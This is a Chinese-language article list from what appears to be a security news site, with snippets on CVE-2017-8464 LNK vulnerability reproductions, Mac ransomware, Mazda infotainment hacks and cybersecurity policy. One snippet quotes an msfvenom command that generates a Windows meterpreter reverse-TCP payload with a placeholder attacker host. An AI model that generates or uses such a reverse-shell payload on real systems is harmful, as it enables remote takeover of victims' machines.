文章列表
CVE-2017-8464远程命令执行漏洞（震网漏洞）复现
经确认，这非CVE-2017-8464漏洞，真正的漏洞复现，t00ls期待中！===================================0x01.前言2017年6月13日，微软官方发布编号为CVE-2017-8464的漏洞公告，官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞，黑客可以通过U盘、网络共享等途径触发漏洞，完全控制用
CVE-2017-8464 lnk快捷方式复现小技巧
0X00其实这些东西也没什么好稀奇的，很多大牛都已经事先复现成功了，但是我也想来造一个轮子！{:6_437:} 0X01主要就是在复现的基础上加上一些以前自己玩badusb的小技巧0X02我们首先用MSF生成一个payload：msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=你的IP LPORT=端口 -f psh-reflection
Mac安全只是传说：黑客针对它卖勒索软件
（原标题：Mac安全只是传说 黑客针对它卖勒索软件）一直以来，业内都有Mac电脑比Windows PC安全的传言，但事实上这只是个神话。安全研究人员最近就在网上发现了两款恶意软件，很明显它们就是冲着Mac来的。前段时间爆发的WannaCry勒索软件让Windows PC用户叫苦不迭，不过这种勒索软件可不是Windows专属
Microsoft Windows CVE-2017-8464 LNK 远程代码执行漏洞 完整复现
很抱歉，这个CVE是我自己复现过把过程发到吐司里的，因为吐司并没有关于这个CVE的文章。该CVE复现并不是我原创的，下次在板块发帖会注意，以后这类的文章会发到技术讨论区。========================================2017年6月13日，微软官方发布编号为CVE-2017-8464的漏洞公告，官方介绍Windows系统在
智慧城市建设中 网络安全攻防战如何打赢
智慧城市建设以物联网、云计算等大数据技术体系为支撑，数据信息巨大，并涉及到政务、商业、生活等方方面面，一旦出现信息泄露、数据丢失等安全问题，后果将不堪设想。因此，智慧城市的信息安全问题不容忽视。我国近年来智慧城市建设实践中，信息安全作为重要一环，在进行整体规划和顶层设计之时，并未
部分马自达汽车只要一个U盘就能被黑客攻破
据外媒报道，配备新一代MZD Connect信息娱乐系统的部分马自达车型被发现只需要一个简单的U盘就能被攻破。这看起来很有可能跟系统中的一系列漏洞有关。获悉，该问题最早在3年前就被Mazda3Revolution论坛的用户发现。 自那之后，一些马自达车主就开始利用这些漏洞来定制他们自己想要的信息娱乐系统、
美指认朝鲜政府涉嫌2009年后的大规模黑客活动
据韩联社6月14日报道，美国国土安全部下属的计算机应急小组和联邦调查局(FBI)当地时间13日正式发布警告称，美国指认朝鲜政府涉嫌2009年后的大规模黑客活动。美方要求强化网络安保系统，应对朝鲜方面的网络攻击。报道称，应急小组和FBI还首次公布了隶属于朝鲜政府的黑客组织名称—神秘眼镜蛇(音译，hidd
使用对象存储应对勒索病毒
随着企业对数据依赖性的增加，数字信息资产变得更有价值。数据带来了很多好处，但同时也带来了一些不好的事件，最近一连串高调的安全漏洞只是冰山一角。因此，高管们正在把重点转移到网络安全，并为此投入更多的预算。在Enterprise Strategy Group 2017年的IT支出意向研究中，受访者认为网络安全是未来
《网络安全法》实施 业界：违法者不是问题的全部
孩子一放暑假，补习班的招生短信就发到了手机上；新房的钥匙还没到手，装修公司就打电话来推销“八折优惠”……大数据时代，互联网给人们生活带来便利的同时，网民个人信息却陷入“裸奔”的尴尬局面，如何保护网上信息安全成为社会高度关注的议题。 自6月1日起，《中华人民共和国网络安全法》(以下
iPhone 8新功能将引发业内“地震” 信息安全革命在即
现代智能手机指纹传感器首次出现在苹果 iPhone 5s 上，它改变了人们使用手机的方式。完美的实现，使得指纹传感器给智能手机安全和隐私带来一场意义深远的革命。只要 Home 按键被按下，iPhone 5s 就能及时、可靠地认证用户身份，让用户登录手机，无需再记忆多个让人困惑的密码。 指纹传感器的一个重
